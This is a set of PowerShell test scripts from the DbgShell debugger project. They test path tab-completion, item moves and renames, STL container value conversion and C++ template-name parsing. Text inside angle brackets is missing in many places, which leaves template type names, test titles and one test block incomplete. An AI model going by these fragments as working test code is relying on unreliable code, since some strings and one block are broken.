TabExpansion2 "dir b" -cursorColumn 5 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir .\b" -cursorColumn 7 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Dbg:\f" -cursorColumn 10 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Debugger::\f" -cursorColumn 16 Verify-AreEqual "Debugger::\foo" ($m.CompletionMatches[0].CompletionText) # # Now switching to a provider-qualified current working directory. # cd Debugger:: Verify-AreEqual "Debugger\Debugger::" ($pwd.Path) Verify-AreEqual 2 ((dir).Count) cd Debugger::\ Verify-AreEqual "Debugger\Debugger::" ($pwd.Path) Verify-AreEqual 2 ((dir).Count) $m = TabExpansion2 "dir f" -cursorColumn 5 Verify-AreEqual ".\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir .\f" -cursorColumn 7 Verify-AreEqual ".\foo" ($m.CompletionMatches[0].CompletionText) # NOTE: When PowerShell bug "Windows 8 Bugs 929380" is fixed, then this test will fail. $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "foo" ($m.CompletionMatches[0].CompletionText) cd Debugger::foo Verify-AreEqual "Debugger\Debugger::foo" ($pwd.Path) cd Debugger::\foo Verify-AreEqual "Debugger\Debugger::foo" ($pwd.Path) $m = TabExpansion2 "dir b" -cursorColumn 5 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir .\b" -cursorColumn 7 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Dbg:\f" -cursorColumn 10 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Debugger::\f" -cursorColumn 16 Verify-AreEqual "Debugger::\foo" ($m.CompletionMatches[0].CompletionText) # # Switching to Certificate provider-style path bugginess. # Set-PathBugginessStyle CertificateProvider cd Dbg:\ # NOTE: When PowerShell bug "Windows 8 Bugs 929390" is fixed, then this test will fail. $m = TabExpansion2 "dir f" -cursorColumn 5 Verify-AreEqual ".\\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) cd foo $m = TabExpansion2 "dir b" -cursorColumn 5 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir .\b" -cursorColumn 7 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Dbg:\f" -cursorColumn 10 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Debugger::\f" -cursorColumn 16 Verify-AreEqual "Debugger::\foo" ($m.CompletionMatches[0].CompletionText) # # Now switching to a provider-qualified current working directory. # cd Debugger:: Verify-AreEqual "Debugger\Debugger::" ($pwd.Path) Verify-AreEqual 2 ((dir).Count) cd Debugger::\ Verify-AreEqual "Debugger\Debugger::" ($pwd.Path) Verify-AreEqual 2 ((dir).Count) # NOTE: When PowerShell bug "Windows 8 Bugs 929390" is fixed, then this test will fail. $m = TabExpansion2 "dir f" -cursorColumn 5 Verify-AreEqual ".\\foo" ($m.CompletionMatches[0].CompletionText) # NOTE: When PowerShell bug "Windows 8 Bugs 929390" is fixed, then this test will fail. $m = TabExpansion2 "dir .\f" -cursorColumn 7 Verify-AreEqual ".\\foo" ($m.CompletionMatches[0].CompletionText) # Unlike the RegistryStyle bugginess, this behavior works right. $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "\foo" ($m.CompletionMatches[0].CompletionText) cd Debugger::foo Verify-AreEqual "Debugger\Debugger::\foo" ($pwd.Path) cd Debugger::\foo Verify-AreEqual "Debugger\Debugger::\foo" ($pwd.Path) $m = TabExpansion2 "dir b" -cursorColumn 5 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir .\b" -cursorColumn 7 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Dbg:\f" -cursorColumn 10 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Debugger::\f" -cursorColumn 16 Verify-AreEqual "Debugger::\foo" ($m.CompletionMatches[0].CompletionText) Set-PathBugginessStyle $oldPathBugginessStyle Pop-Location Verify-AreEqual 0 ($global:error.Count) ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/NamespaceTests/MoveItem.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext $a = New-Item a [string] $content1 = "hi" Set-Content a $content1 Move-Item a b Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir a*) Verify-AreEqual 1 ((,(dir b*)).Count) Verify-AreEqual $content1 (Get-Content b) [void] (mkdir c_dir) Move-Item b c_dir Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir b*) Verify-AreEqual 1 ((,(dir c_dir)).Count) Verify-AreEqual $content1 (Get-Content c_dir\b) Move-Item c_dir d_dir Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir c*) Verify-AreEqual 1 ((,(dir d_dir)).Count) Verify-AreEqual $content1 (Get-Content d_dir\b) # # Let's test some things that should fail. # [void] (mkdir d_dir\e_dir) Move-Item d_dir d_dir\e_dir -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() Verify-AreEqual 0 ($global:error.Count) ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/NamespaceTests/ProviderTests.metadata ================================================ Set-StrictMode -Version Latest function PrepareForTest() { # Prepares a fresh virtual namespace for us to party on. Push-Namespace $TestContext = Get-TestContext $pbs = $TestContext.Properties[ "PathBugginessStyle" ] if( $pbs ) { Write-Host "Using PathBugginessStyle: $pbs." -Fore Yellow Set-PathBugginessStyle $pbs } $useProviderQualifiedWorkingDirectory = $TestContext.Properties[ "UseProviderQualifiedWorkingDirectory" ] if( $useProviderQualifiedWorkingDirectory ) { Write-Host "Using a provider-qualified working directory." -Fore Yellow cd Debugger::\ } } function CleanupFromTest() { # Throws away the current virtual namespace, getting rid of any potential leftovers. Pop-Namespace } # end CleanupFromTest() # You might be tempted to factor out ALL common initialization code to put into # the 'TestInitialize' script block--but don't do it. This way, the tests # remain independenty executable (you can just dot-source them at the command # line, which is very useful for debugging them). $metadata = @{ "*.ps1" = @{ "TestInitialize" = { PrepareForTest } "TestCleanup" = { CleanupFromTest } }; } Register-TestMetadata $metadata ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/NamespaceTests/RenameItem.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext $a = New-Item a [string] $content1 = "hi" Set-Content a $content1 Rename-Item a b Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir a*) Verify-AreEqual 1 ((,(dir b*)).Count) Verify-AreEqual $content1 (Get-Content b) [void] (mkdir c_dir) Move-Item b c_dir Rename-Item c_dir\b c Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir b*) Verify-AreEqual 1 ((,(dir c_dir)).Count) Verify-AreEqual $content1 (Get-Content c_dir\c) # # Let's test some things that should fail. # Rename-Item c_dir\c "c*\!@" -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() $d = New-Item c_dir\d Rename-Item c_dir\c d -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() Verify-AreEqual 0 ($global:error.Count) ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/ReentrantConversion.Tests.ps1 ================================================ Describe "ReentrantConversion" { Register-DbgValueConverterInfo { New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!Base' -Converter { try { $symbol = $_ # $oldVal = Get-Variable 'stockValue*' -ValueOnly # if( $null -ne $oldVal ) # { # Write-Host "In Base converter: old `$stockValue members:" # Write-Host ($stockValue | gm | Out-String) # } # else # { # Write-Host "In Base converter: no old `$stockValue" # } $stockValue = $_.GetStockValue() # Write-Host "In Base converter: new `$stockValue members:" # Write-Host ($stockValue | gm | Out-String) # Write-Host "Hi! The type is $($stockValue.m_typeTag)" # Write-Host ($_ | gm | Out-String) switch( $stockValue.m_typeTag ) { 0 { # Type1 return (Get-DbgSymbolValue -Address $symbol.Address -TypeName 'TestNativeConsoleApp!Type1') } 1 { # Type2 return (Get-DbgSymbolValue -Address $symbol.Address -TypeName 'TestNativeConsoleApp!Type2') } 2 { # Type3 return (Get-DbgSymbolValue -Address $symbol.Address -TypeName 'TestNativeConsoleApp!Type3') } default { throw "Type tag looks wrong; something's broken." return $stockValue } } # end switch( m_typeTag ) } finally { } } # end 'TestNativeConsoleApp!Base' converter } Register-AltTypeFormatEntries { New-AltTypeFormatEntry -TypeName 'TestNativeConsoleApp!Base' { New-AltSingleLineViewDefinition { # $oldVal = Get-Variable 'cs*' -ValueOnly # if( $null -ne $oldVal ) # { # Write-Host "In Base custom view definition: old `$cs value: $($oldVal.ToString( $false ))" # } # else # { # Write-Host "In Base custom view definition: no old `$cs" # } #$cs = New-ColorString -Content $_.context.Name $cs = New-ColorString -Content $_.ToString() $null = $cs.Append( " " ).AppendPushPopFgBg( [ConsoleColor]::White, [ConsoleColor]::DarkMagenta, $_.m_name ) $cs }.GetNewClosure() # end AltSingleLineViewDefinition } # end Type TestNativeConsoleApp!Base } pushd New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow It "can handle reentrant symbol value conversion" { $g = Get-DbgSymbol TestNativeConsoleApp!g_polymorphicThings $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 'Polymorphic thing 1' | Should Be ($gv[0].m_name) 'Polymorphic thing 2' | Should Be ($gv[1].m_name) 'Polymorphic thing 3' | Should Be ($gv[2].m_name) 'zero' | Should Be ($gv[0].m_map[0]) 'one' | Should Be ($gv[0].m_map[1]) 'two' | Should Be ($gv[0].m_map[2]) 'zero' | Should Be ($gv[1].m_vector[0]) 'one' | Should Be ($gv[1].m_vector[1]) 'two' | Should Be ($gv[1].m_vector[2]) # Uh... why did I do this 3 times? 42 | Should Be ($gv[2].m_i) 42 | Should Be ($gv[2].m_i) 42 | Should Be ($gv[2].m_i) # # Make sure we don't have crazy aliasing trouble when a converter returns # one of its children. # $g = Get-DbgSymbol TestNativeConsoleApp!g_uniquePtr $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 'abcdefghi' | Should Be $gv } Remove-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!Base' Remove-AltTypeFormatEntry -TypeName 'TestNativeConsoleApp!Base' .kill PostTestCheckAndResetCacheStats popd } ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/StlTypeConversion.Tests.ps1 ================================================ Describe "StlTypeConversion" { pushd New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow It "can handle vector" { $g = Get-DbgSymbol TestNativeConsoleApp!g_intVector $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.size()) 4 | Should Be ($gv.Count) 10 | Should Be ($gv.capacity()) 0 | Should Be ($gv[0]) 1 | Should Be ($gv[1]) 2 | Should Be ($gv[2]) 3 | Should Be ($gv[3]) # It got converted to a System.Collections.ObjectModel.ReadOnlyCollection, but make # sure that .ToString() gives the symbol type name. # # Dev12: std::vector" { $g = Get-DbgSymbol TestNativeConsoleApp!g_wsVector $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.size()) 4 | Should Be ($gv.Count) 10 | Should Be ($gv.capacity()) "zero" | Should Be ($gv[0]) "one" | Should Be ($gv[1]) "two" | Should Be ($gv[2]) "three" | Should Be ($gv[3]) } It "can handle vector" { $g = Get-DbgSymbol TestNativeConsoleApp!g_sVector $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.size()) 4 | Should Be ($gv.Count) 10 | Should Be ($gv.capacity()) "zero" | Should Be ($gv[0]) "one" | Should Be ($gv[1]) "two" | Should Be ($gv[2]) "three" | Should Be ($gv[3]) } It "can handle vector" { $g = Get-DbgSymbol TestNativeConsoleApp!g_bVector $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 3 | Should Be ($gv.Count) ($gv[0]) | Should Be $true ($gv[1]) | Should Be $false ($gv[2]) | Should Be $true [bool] $itThrew = $false try { $gv[3] } catch { $itThrew = $true # Expected. } $itThrew | Should Be $true } It "can handle an empty vector" { $g = Get-DbgSymbol TestNativeConsoleApp!g_bVectorEmpty $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 0 | Should Be ($gv.Count) } It "can handle a map" { $g = Get-DbgSymbol TestNativeConsoleApp!g_intStringMap $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.Count) "zero" | Should Be ($gv[0]) "one" | Should Be ($gv[1]) "two" | Should Be ($gv[2]) "three" | Should Be ($gv[3]) } It "can handle a map" { $g = Get-DbgSymbol TestNativeConsoleApp!g_stringStringMap $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.get_Count()) "nothing" | Should Be ($gv["zero" ]) "something" | Should Be ($gv["one" ]) "a couple" | Should Be ($gv["two" ]) "several" | Should Be ($gv["three"]) } It "can handle a multimap" { $g = Get-DbgSymbol TestNativeConsoleApp!g_stringStringMultimap $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.get_Count()) 8 | Should Be ($gv.get_UncollapsedCount()) ($gv.get_IsReadOnly()) | Should Be $true "nothing" | Should Be ($gv["zero" ][ 0 ]) "something" | Should Be ($gv["one" ][ 0 ]) "a couple" | Should Be ($gv["two" ][ 0 ]) "several" | Should Be ($gv["three"][ 0 ]) "nothing again" | Should Be ($gv["zero" ][ 1 ]) "something again" | Should Be ($gv["one" ][ 1 ]) "a couple again" | Should Be ($gv["two" ][ 1 ]) "several again" | Should Be ($gv["three"][ 1 ]) "one" | Should Be ($gv.get_KeyByIndex()[ 0 ]) "one" | Should Be ($gv.get_KeyByIndex()[ 1 ]) "three" | Should Be ($gv.get_KeyByIndex()[ 2 ]) "three" | Should Be ($gv.get_KeyByIndex()[ 3 ]) "two" | Should Be ($gv.get_KeyByIndex()[ 4 ]) "two" | Should Be ($gv.get_KeyByIndex()[ 5 ]) "zero" | Should Be ($gv.get_KeyByIndex()[ 6 ]) "zero" | Should Be ($gv.get_KeyByIndex()[ 7 ]) "something" | Should Be ($gv.get_ValueByIndex()[ 0 ]) "something again" | Should Be ($gv.get_ValueByIndex()[ 1 ]) "several" | Should Be ($gv.get_ValueByIndex()[ 2 ]) "several again" | Should Be ($gv.get_ValueByIndex()[ 3 ]) "a couple" | Should Be ($gv.get_ValueByIndex()[ 4 ]) "a couple again" | Should Be ($gv.get_ValueByIndex()[ 5 ]) "nothing" | Should Be ($gv.get_ValueByIndex()[ 6 ]) "nothing again" | Should Be ($gv.get_ValueByIndex()[ 7 ]) $keys = @() $gv.get_Keys() | %{ $keys += $_ } "one" | Should Be ($keys[0]) "three" | Should Be ($keys[1]) "two" | Should Be ($keys[2]) "zero" | Should Be ($keys[3]) $values = @() $gv.get_Values() | %{ $values += ,$_ } "something" | Should Be ($values[ 0 ][ 0 ]) "several" | Should Be ($values[ 1 ][ 0 ]) "a couple" | Should Be ($values[ 2 ][ 0 ]) "nothing" | Should Be ($values[ 3 ][ 0 ]) "something again" | Should Be ($values[ 0 ][ 1 ]) "several again" | Should Be ($values[ 1 ][ 1 ]) "a couple again" | Should Be ($values[ 2 ][ 1 ]) "nothing again" | Should Be ($values[ 3 ][ 1 ]) # Make sure we didn't break formatting $gv | Out-String } It "can handle sets" { $g = Get-DbgSymbol TestNativeConsoleApp!g_intSet0 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 0 | Should Be ($gv.Count) $g = Get-DbgSymbol TestNativeConsoleApp!g_wsSet1 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 1 | Should Be ($gv.Count) "zero" | Should Be ($gv[0]) $g = Get-DbgSymbol TestNativeConsoleApp!g_wsSet2 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 2 | Should Be ($gv.Count) # alphabetical order "one" | Should Be ($gv[0]) "zero" | Should Be ($gv[1]) $g = Get-DbgSymbol TestNativeConsoleApp!g_wsSet3 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 3 | Should Be ($gv.Count) # alphabetical order "one" | Should Be ($gv[0]) "two" | Should Be ($gv[1]) "zero" | Should Be ($gv[2]) $g = Get-DbgSymbol TestNativeConsoleApp!g_wsSet4 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.Count) # alphabetical order "one" | Should Be ($gv[0]) "three" | Should Be ($gv[1]) "two" | Should Be ($gv[2]) "zero" | Should Be ($gv[3]) $g = Get-DbgSymbol TestNativeConsoleApp!g_intSet50 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 50 | Should Be ($gv.Count) for( $i = 0; $i -lt 50; $i++ ) { ($i) | Should Be ($gv[$i]) } $g = Get-DbgSymbol TestNativeConsoleApp!g_intMultiset10 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 10 | Should Be ($gv.Count) for( $i = 0; $i -lt 10; $i++ ) { # N.B. PowerShell seems to round or something (instead of # truncating like in C-family languages). ([Math]::Floor( $i / 2 )) | Should Be ($gv[ $i ]) } } It "can handle lists" { $g = Get-DbgSymbol TestNativeConsoleApp!g_intList $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 10 | Should Be ($gv.Count) for( $i = 0; $i -lt 10; $i++ ) { ($i) | Should Be ($gv[$i]) } $g = Get-DbgSymbol TestNativeConsoleApp!g_emptyIntList $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 0 | Should Be ($gv.Count) $g = Get-DbgSymbol TestNativeConsoleApp!g_intForwardList $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 10 | Should Be ($gv.Count) for( $i = 0; $i -lt 10; $i++ ) { # because I add the elements with push_front (9 - $i) | Should Be ($gv[$i]) } $g = Get-DbgSymbol TestNativeConsoleApp!g_emptyIntForwardList $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 0 | Should Be ($gv.Count) } It "can handle hashmaps" { $g = Get-DbgSymbol TestNativeConsoleApp!g_hm_03 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 3 | Should Be ($gv.Count) $gv['0'].Count | Should Be 1 $gv['1'].Count | Should Be 1 $gv['2'].Count | Should Be 1 $gv['0'][0] | Should Be "" $gv['1'][0] | Should Be "z" $gv['2'][0] | Should Be "zz" } It "can handle uniquePtr" { $g = Get-DbgSymbol TestNativeConsoleApp!g_uniquePtr $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 9 | Should Be ($gv.Length) "abcdefghi" | Should Be $gv } It "can handle the small string optimization" { # Test boundary conditions for "small string optimization". 'g_wstrings', 'g_strings' | %{ $g = Get-DbgSymbol "TestNativeConsoleApp!$_" $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true for( [int] $i = 0; $i -lt 22; $i++ ) { (New-Object 'System.String' -Arg @( ([char] 'a'), $i )) | Should Be $gv[ $i ] } } } .kill PostTestCheckAndResetCacheStats popd } ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/TemplateMatching.Tests.ps1 ================================================  Describe "TemplateMatching" { It "can crack string templates" { $typeName1 = "std::basic_string,std::allocator,_STL70>" $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti2 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::basic_string' ) $ti1.Matches( $ti1 ) | Should Be $true $ti1.Matches( $ti2 ) | Should Be $true $ti2.Matches( $ti1 ) | Should Be $true $ti3 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::basic_string2' ) $ti1.Matches( $ti3 ) | Should Be $false $ti3.Matches( $ti2 ) | Should Be $false $ti4 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::basic_string,?,_STL70>' ) $ti1.Matches( $ti4 ) | Should Be $true $ti4.Matches( $ti1 ) | Should Be $true $ti4.Matches( $ti4 ) | Should Be $true } It "can deal with weird spacing" { # Notice that this template name has some odd spacing. $typeName2 = "std::vector >" $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName2 ) $ti2 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::vector' ) $ti1.Matches( $ti1 ) | Should Be $true $ti1.Matches( $ti2 ) | Should Be $true $ti2.Matches( $ti1 ) | Should Be $true $ti3 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::vector>' ) $ti1.Matches( $ti3 ) | Should Be $true $ti3.Matches( $ti1 ) | Should Be $true $ti3.Matches( $ti3 ) | Should Be $true } It "can deal with nested types" { $typeName1 = 'std::list >::iterator' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti2 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::list' ) $ti1.Matches( $ti1 ) | Should Be $true $ti1.Matches( $ti2 ) | Should Be $false $ti2.Matches( $ti1 ) | Should Be $false $ti3 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::list::iterator' ) $ti3.Matches( $ti3 ) | Should Be $true $ti1.Matches( $ti3 ) | Should Be $true $ti3.Matches( $ti1 ) | Should Be $true $ti3.Matches( $ti2 ) | Should Be $false $ti2.Matches( $ti3 ) | Should Be $false $typeName1 = 'std::list >::blah' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.Matches( $ti2 ) | Should Be $false $ti2.Matches( $ti1 ) | Should Be $false $ti2 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::list::blah' ) $ti1.Matches( $ti2 ) | Should Be $false $ti2.Matches( $ti1 ) | Should Be $false $ti2 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::list::blah' ) $ti1.Matches( $ti2 ) | Should Be $true $ti2.Matches( $ti1 ) | Should Be $true } It "can deal with special non-template names" { # Special non-template name. $unnamedTagName = '' $typeName1 = $unnamedTagName $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false $ti1.FullName | Should Be $unnamedTagName $ti1.TemplateName | Should Be $unnamedTagName ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $unnamedTagName )) | Should Be $false $ti1.HasConst | Should Be $false $unnamedTagName = '_ULARGE_INTEGER::' $typeName1 = $unnamedTagName $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false $ti1.FullName | Should Be $unnamedTagName $ti1.TemplateName | Should Be $unnamedTagName ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $unnamedTagName )) | Should Be $false $ti1.HasConst | Should Be $false $unnamedTagName = '_ULARGE_INTEGER::::foo' $typeName1 = $unnamedTagName $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be $unnamedTagName $ti1.TemplateName | Should Be '_ULARGE_INTEGER::::foo' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $unnamedTagName )) | Should Be $true $ti1.HasConst | Should Be $false } It "can deal with short names" { $typeName1 = 'A' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be $typeName1 $ti1.TemplateName | Should Be 'A' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $true $ti1.HasConst | Should Be $false $typeName1 = 'A::C' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be $typeName1 $ti1.TemplateName | Should Be 'A' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $true $ti1.HasConst | Should Be $false $ti1.NestedNode -ne $null | Should Be $true $ti1.NestedNode.TemplateName | Should Be 'C' $ti1.NestedNode.IsTemplate | Should Be $false } It "can deal with function types" { $typeName1 = 'FrsStatus* (*fn)( Db*, DbIterator*, ID_RECORD*, Int4B* )' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false $ti1.FullName | Should Be $typeName1 $ti1.TemplateName | Should Be $typeName1 ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $false $ti1.HasConst | Should Be $false } It "can deal with anonymous namespace thing" { $typeName1 = 'VolatilePtr<`anonymous namespace''::AptcaKillBitList,A0x8f085d03::AptcaKillBitList *>' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be 'VolatilePtr<`anonymous namespace''::AptcaKillBitList,A0x8f085d03::AptcaKillBitList*>' $ti1.TemplateName | Should Be 'VolatilePtr' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $true $ti1.HasConst | Should Be $false } It "can deal with const" { $typeName1 = 'std::pair const ' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be 'std::pair' # We trim off "const" $ti1.HasConst | Should Be $true $ti1.TemplateName | Should Be 'std::pair' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $true $typeName1 = 'std::map,std::pair,std::less >,std::allocator const ,std::pair > > >' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be 'std::map,std::pair,std::less>,std::allocator,std::pair>>>' $ti1.TemplateName | Should Be 'std::map' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $true $ti1.HasConst | Should Be $false } It "can deal with references" { $typeName1 = 'std::pair,std::allocator > const ,std::function,std::allocator >,std::allocator,std::allocator > > > &)> > const &' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false # because references are not templates (they're just like pointers) $ti1.FullName | Should Be 'std::pair,std::allocator > const ,std::function,std::allocator >,std::allocator,std::allocator > > > &)> > const &' $ti1.TemplateName | Should Be 'std::pair,std::allocator > const ,std::function,std::allocator >,std::allocator,std::allocator > > > &)> > const &' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $false $ti1.HasConst | Should Be $false # it looks like it has const, but HasConst is only for actual templates $typeName1 = 'std::vector,std::allocator >,std::allocator,std::allocator > > > &' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false # because references are not templates (they're just like pointers) $ti1.FullName | Should Be 'std::vector,std::allocator >,std::allocator,std::allocator > > > &' $ti1.TemplateName | Should Be 'std::vector,std::allocator >,std::allocator,std::allocator > > > &' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $false $ti1.HasConst | Should Be $false # it looks like it has const, but HasConst is only for actual templates } It "can deal with lambdas" { $typeName1 = 'Concurrency::details::__I?$_AsyncTaskGeneratorThunk@V@@PublicNonVirtuals' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false # the lambda thing is not a template $ti1.FullName | Should Be $typeName1 $ti1.TemplateName | Should Be $typeName1 ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $false $typeName1 = 'Concurrency::details::_AsyncTaskGeneratorThunk< >' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be 'Concurrency::details::_AsyncTaskGeneratorThunk<>' $ti1.TemplateName | Should Be 'Concurrency::details::_AsyncTaskGeneratorThunk' 1 | Should Be $ti1.Parameters.Count $ti1.Parameters[ 0 ].IsTemplate | Should Be $false # the lambda thing inside is not a template $ti1.Parameters[ 0 ].FullName | Should Be '' } It "throws if the multi-match wildcard doesn't come last" { [bool] $itThrew = $false try { # Can't use the multi-match wildcard ('?*') unless it comes last. $tiBad = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::basic_string,?,_STL70>' 